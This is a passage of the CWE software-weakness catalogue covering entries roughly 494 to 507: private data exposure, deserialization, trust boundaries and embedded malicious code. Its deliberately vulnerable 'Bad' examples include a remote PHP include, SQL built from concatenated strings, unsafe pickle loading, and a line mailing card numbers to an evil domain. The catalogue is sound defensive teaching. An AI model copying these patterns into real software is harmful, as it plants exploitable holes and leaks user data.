Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

This example loads an external class from a local subdirectory.

Example Language: Java *(Bad)*

```
URL[] classURLs= new URL[]{
   new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);
```

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

Example 2:

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

Example Language: PHP *(Bad)*

```
//assume the password is already encrypted, avoiding CWE-312
function authenticate($username,$password){
  include("http://external.example.com/dbInfo.php");
  //dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
  mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
  mysql_select_db($dbname);
  $query = 'Select * from users where username='.$username.' And password='.$password;
  $result = mysql_query($query);
  if(mysql_numrows($result) == 1){
    mysql_close();
    return true;
  }
  else{
    mysql_close();
    return false;
  }
}
```

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themself to access the application without a real user account.

This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.

Observed Examples

Reference	Description
CVE-2019-9534	Satellite phone does not validate its firmware image. *https://www.cve.org/CVERecord?id=CVE-2019-9534*
CVE-2021-22909	Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494). *https://www.cve.org/CVERecord?id=CVE-2021-22909*
CVE-2008-3438	OS does not verify authenticity of its own updates. *https://www.cve.org/CVERecord?id=CVE-2008-3438*
CVE-2008-3324	online poker client does not verify authenticity of its own updates. *https://www.cve.org/CVERecord?id=CVE-2008-3324*
CVE-2001-1125	anti-virus product does not verify automatic updates for itself. *https://www.cve.org/CVERecord?id=CVE-2001-1125*
CVE-2002-0671	VOIP phone downloads applications from web sites without verifying integrity. *https://www.cve.org/CVERecord?id=CVE-2002-0671*

Notes

Research Gap

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.

CWE-495: Private Data Structure Returned From A Public Method

Weakness ID : 495
Structure : Simple
Abstraction : Variant

Description

The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1466

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The contents of the data structure can be modified from outside the intended scope.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Declare the method private.

Phase: Implementation

Clone the member data and keep an unmodified version of the data private to the object.

Phase: Implementation

Use public setter methods that govern how a private member can be modified.

Demonstrative Examples

Example 1:

Here, a public method in a Java class returns a reference to a private array. Given that arrays in Java are mutable, any modifications made to the returned reference would be reflected in the original private array.

Example Language: Java *(Bad)*

```
private String[] colors;
public String[] getColors() {
   return colors;
}
```

Example 2:

In this example, the Color class defines functions that return non-const references to private members (an array type and an integer type), which are then arbitrarily altered from outside the control of the class.

Example Language: C++ *(Bad)*

```
class Color
{
   private:
      int[2] colorArray;
      int colorValue;
   public:
      Color () : colorArray { 1, 2 }, colorValue (3) { };
      int[2] & fa () { return colorArray; } // return reference to private array
      int & fv () { return colorValue; } // return reference to private integer
};
int main ()
{
   Color c;
   c.fa () [1] = 42; // modifies private array element
   c.fv () = 42; // modifies private int
   return 0;
}
```

MemberOf Relationships

CWE-496: Public Data Assigned to Private Array-Typed Field

Weakness ID : 496
Structure : Simple
Abstraction : Variant

Description

Assigning public data to a private array is equivalent to giving public access to the array.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1466

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The contents of the array can be modified from outside the intended scope.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Do not allow objects to modify private members of a class.

Demonstrative Examples

Example 1:

In the example below, the setRoles() method assigns a publically-controllable array to a private field, thus allowing the caller to modify the private array directly by virtue of the fact that arrays in Java are mutable.

Example Language: Java *(Bad)*

```
private String[] userRoles;
public void setUserRoles(String[] userRoles) {
   this.userRoles = userRoles;
}
```

MemberOf Relationships

CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere

Weakness ID : 497
Structure : Simple
Abstraction : Base

Description

The product does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the product does.

Extended Description

Network-based products, such as web applications, often run on top of an operating system or similar environment. When the product communicates with outside parties, details about the underlying system are expected to remain hidden, such as path names for data files, other OS users, installed packages, the application environment, etc. This system information may be provided by the product itself, or buried within diagnostic or debugging messages. Debugging information helps an adversary learn about the system and form an attack plan.

An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. Using other weaknesses, an attacker could cause errors to occur; the response to these errors can reveal detailed system information, along with other impacts. An attacker can use messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. A product may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	512
ParentOf	B	214	Invocation of Process Using Visible Sensitive Information	557
ParentOf	V	548	Exposure of Information Through Directory Listing	1272
PeerOf	B	1431	Driving Intermediate Cryptographic State/Results to Hardware Module Outputs	2340

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	2349

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs

Demonstrative Examples

Example 1:

The following code prints the path environment variable to the standard error stream:

Example Language: C *(Bad)*

```
char* path = getenv("PATH");
...
sprintf(stderr, "cannot find exe on path %s\n", path);
```

Example 2:

This code prints all of the running processes belonging to the current user.

Example Language: PHP *(Bad)*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (avoiding CWE-78)
$userName = getCurrentUser();
$command = 'ps aux | grep ' . $userName;
system($command);
```

If invoked by an unauthorized web user, it is providing a web page of potentially sensitive information on the underlying system, such as command-line arguments (CWE-497). This program is also potentially vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

Example 3:

The following code prints an exception to the standard error stream:

Example Language: Java *(Bad)*

```
try {
   ...
} catch (Exception e) {
   e.printStackTrace();
}
```

Example Language: Java *(Bad)*

```
try {
   ...
} catch (Exception e) {
   Console.Writeline(e);
}
```

Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system will be vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply

information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Example 4:

The following code constructs a database connection string, uses it to create a new connection to the database, and prints it to the console.

Example Language: C# *(Bad)*

```
string cs="database=northwind; server=mySQLServer...";
SqlConnection conn=new SqlConnection(cs);
...
Console.Writeline(cs);
```

Depending on the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Observed Examples

Reference	Description
CVE-2021-32638	Code analysis product passes access tokens as a command-line parameter or through an environment variable, making them visible to other processes via the ps command. *https://www.cve.org/CVERecord?id=CVE-2021-32638*

CWE-498: Cloneable Class Containing Sensitive Information

Weakness ID : 498
Structure : Simple
Abstraction : Variant

Description

The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.

Extended Description

Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1481
CanPrecede	C	200	Exposure of Sensitive Information to an Unauthorized Actor	512

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *A class that can be cloned can be produced without executing the constructor. This is dangerous since the constructor may perform security-related checks. By allowing the object to be cloned, those checks may be bypassed.*	

Potential Mitigations

Phase: Implementation

If you do make your classes clonable, ensure that your clone method is final and throw super.clone().

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(Bad)*

```
public class CloneClient {
  public CloneClient() //throws
  java.lang.CloneNotSupportedException {
    Teacher t1 = new Teacher("guddu","22,nagar road");
    //...
    // Do some stuff to remove the teacher.
    Teacher t2 = (Teacher)t1.clone();
    System.out.println(t2.name);
  }
  public static void main(String args[]) {
    new CloneClient();
  }
}
class Teacher implements Cloneable {
  public Object clone() {
    try {
      return super.clone();
    }
    catch (java.lang.CloneNotSupportedException e) {
      throw new RuntimeException(e.toString());
    }
  }
  public String name;
  public String clas;
  public Teacher(String name,String clas) {
    this.name = name;
    this.clas = clas;
  }
}
```

Make classes uncloneable by defining a clone function like:

Example Language: Java *(Good)*

```
public final void clone() throws java.lang.CloneNotSupportedException {
  throw new java.lang.CloneNotSupportedException();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-499: Serializable Class Containing Sensitive Data

Weakness ID : 499
Structure : Simple
Abstraction : Variant

Description

The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.

Extended Description

Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1481
CanPrecede	C	200	Exposure of Sensitive Information to an Unauthorized Actor	512

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *an attacker can write out the class to a byte stream, then extract the important data from it.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control

flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

In Java, explicitly define final writeObject() to prevent serialization. This is the recommended solution. Define the writeObject() function to throw an exception explicitly denying serialization.

Phase: Implementation

Make sure to prevent serialization of your objects.

Demonstrative Examples

Example 1:

This code creates a new record for a medical patient:

Example Language: Java *(Bad)*

```
class PatientRecord {
   private String name;
   private String socialSecurityNum;
   public Patient(String name,String ssn) {
      this.SetName(name);
      this.SetSocialSecurityNumber(ssn);
   }
}
```

This object does not explicitly deny serialization, allowing an attacker to serialize an instance of this object and gain a patient's name and Social Security number even though those fields are private.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-500: Public Static Field Not Marked Final

Weakness ID : 500
Structure : Simple
Abstraction : Variant

Description

An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.

Extended Description

Public static variables can be read without an accessor and changed without a mutator by any classes in the application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	493	Critical Public Variable Without Final Modifier	1192

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Background Details

When a field is declared public but not final, the field can be read and written to by arbitrary Java code.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The object could potentially be tampered with.*	
Confidentiality	Read Application Data *The object could potentially allow the object to be read.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Clearly identify the scope for all critical data elements, including whether they should be regarded as static.

Phase: Implementation

Make any static fields private and constant. A constant field is denoted by the keyword 'const' in C/C++ and ' final' in Java

Demonstrative Examples

Example 1:

The following examples use of a public static String variable to contain the name of a property/ configuration file for the application.

Example Language: C++ *(Bad)*

```
class SomeAppClass {
  public:
    static string appPropertiesConfigFile = "app/properties.config";
  ...
}
```

Example Language: Java *(Bad)*

```
public class SomeAppClass {
  public static String appPropertiesFile = "app/Application.properties";
  ...
}
```

Having a public static variable that is not marked final (constant) may allow the variable to the altered in a way not intended by the application. In this example the String variable can be modified to indicate a different on nonexistent properties file which could cause the application to crash or caused unexpected behavior.

Example Language: C++ *(Good)*

```
class SomeAppClass {
  public:
    static const string appPropertiesConfigFile = "app/properties.config";
  ...
}
```

Example Language: Java *(Good)*

```
public class SomeAppClass {
  public static final String appPropertiesFile = "app/Application.properties";
  ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-501: Trust Boundary Violation

Weakness ID : 501
Structure : Simple
Abstraction : Base

Description

The product mixes trusted and untrusted data in the same data structure or structured message.

Extended Description

A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary - to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1466

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	2354

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Scope	Impact	Likelihood

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.

Example Language: Java *(Bad)*

```
usrname = request.getParameter("usrname");
if (session.getAttribute(ATTR_USR) == null) {
   session.setAttribute(ATTR_USR, usrname);
}
```

Example Language: C# *(Bad)*

```
usrname = request.Item("usrname");
if (session.Item(ATTR_USR) == null) {
   session.Add(ATTR_USR, usrname);
}
```

Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-502: Deserialization of Untrusted Data

Weakness ID : 502
Structure : Simple
Abstraction : Base

Description

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2361

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : Ruby *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Python *(Prevalence = Undetermined)*

Language : JavaScript *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Often)*

Background Details

Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").

Alternate Terms

Marshaling, Unmarshaling : Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.

Pickling, Unpickling : In Python, the "pickle" functionality is used to perform serialization and deserialization.

PHP Object Injection : Some PHP application researchers use this term when attacking unsafe use of the unserialize() function; but it is also used for CWE-915.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data Unexpected State *Attackers can modify unexpected objects or data that was assumed to be safe from modification. Deserialized data or code could be modified without using the provided accessor functions, or unexpected functions could be invoked.*	
Availability	DoS: Resource Consumption (CPU) *If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.*	
Other	Varies by Context *The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used. Making an assumption that the code in the deserialized object is valid is dangerous and can enable exploitation. One example is attackers using gadget chains to perform unauthorized actions, such as generating a shell.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Phase: Implementation

Explicitly define a final object() to prevent deserialization.

Phase: Architecture and Design

Phase: Implementation

Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

Phase: Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Phase: Architecture and Design

Phase: Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Demonstrative Examples

Example 1:

This code snippet deserializes an object from a file and uses it as a UI button:

Example Language: Java *(Bad)*

```
try {
   File file = new File("object.obj");
   ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
   javax.swing.JButton button = (javax.swing.JButton) in.readObject();
   in.close();
}
```

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:

Example Language: Java *(Good)*

```
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); }
```

Example 2:

In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [REF-467], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

Example Language: Python *(Bad)*

```
try {
```

```
    class ExampleProtocol(protocol.Protocol):
    def dataReceived(self, data):
    # Code that would be here would parse the incoming data
    # After receiving headers, call confirmAuth() to authenticate
    def confirmAuth(self, headers):
    try:
    token = cPickle.loads(base64.b64decode(headers['AuthToken']))
    if not check_hmac(token['signature'], token['data'], getSecretKey()):
    raise AuthFail
    self.secure_data = token['data']
    except:
    raise AuthFail
}
```

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.

Observed Examples

MemberOf	V	1430	Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses	1430	2638

Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

CWE-506: Embedded Malicious Code

Weakness ID : 506
Structure : Simple
Abstraction : Class

Description

The product contains code that appears to be malicious in nature.

Extended Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	912	Hidden Functionality	1817
ParentOf	B	507	Trojan Horse	1222
ParentOf	B	510	Trapdoor	1226
ParentOf	B	511	Logic/Time Bomb	1227

Nature	Type	ID	Name	Page
ParentOf	B	512	Spyware	1229

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Detection Methods

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies Generated Code Inspection

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Origin Analysis

Effectiveness = SOAR Partial

Potential Mitigations

Phase: Testing

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

Demonstrative Examples

Example 1:

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

Example Language: Java *(Bad)*

```
boolean authorizeCard(String ccn) {
  // Authorize credit card.
  ...
  mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
```

Observed Examples

Reference	Description
CVE-2022-30877	A command history tool was shipped with a code-execution backdoor inserted by a malicious party. *https://www.cve.org/CVERecord?id=CVE-2022-30877*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-507: Trojan Horse

Weakness ID : 507
Structure : Simple
Abstraction : Base

Description

The product appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	506	Embedded Malicious Code	1220

Nature	Type	ID	Name	Page
ParentOf	B	508	Non-Replicating Malicious Code	1224
ParentOf	B	509	Replicating Malicious Code (Virus or Worm)	1225

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Operation

Most antivirus software scans for Trojan Horses.

Phase: Installation

Verify the integrity of the product that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2424
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2575

Notes

Other

Potentially malicious dynamic code compiled at runtime can conceal any number of attacks that will not appear in the baseline. The use of dynamically compiled code could also allow the injection of attacks on post-deployed applications.

Terminology

Definitions of "Trojan horse" and related terms have varied widely over the years, but common usage in 2008 generally refers to software that performs a legitimate function, but also contains malicious code. Almost any malicious code can be called a Trojan horse, since the author of malicious code needs to disguise it somehow so that it will be invoked by a nonmalicious user (unless the author means also to invoke the code, in which case they presumably already possess the authorization to perform the intended sabotage). A Trojan horse that replicates itself by copying its code into other program files (see case MA1) is commonly referred to as a virus. One that replicates itself by creating new processes or files to contain its code, instead of modifying existing storage entities, is often called a worm. Denning provides a general discussion of these terms; differences of opinion about the term applicable to a particular flaw or its exploitations sometimes occur.

CWE-508: Non-Replicating Malicious Code

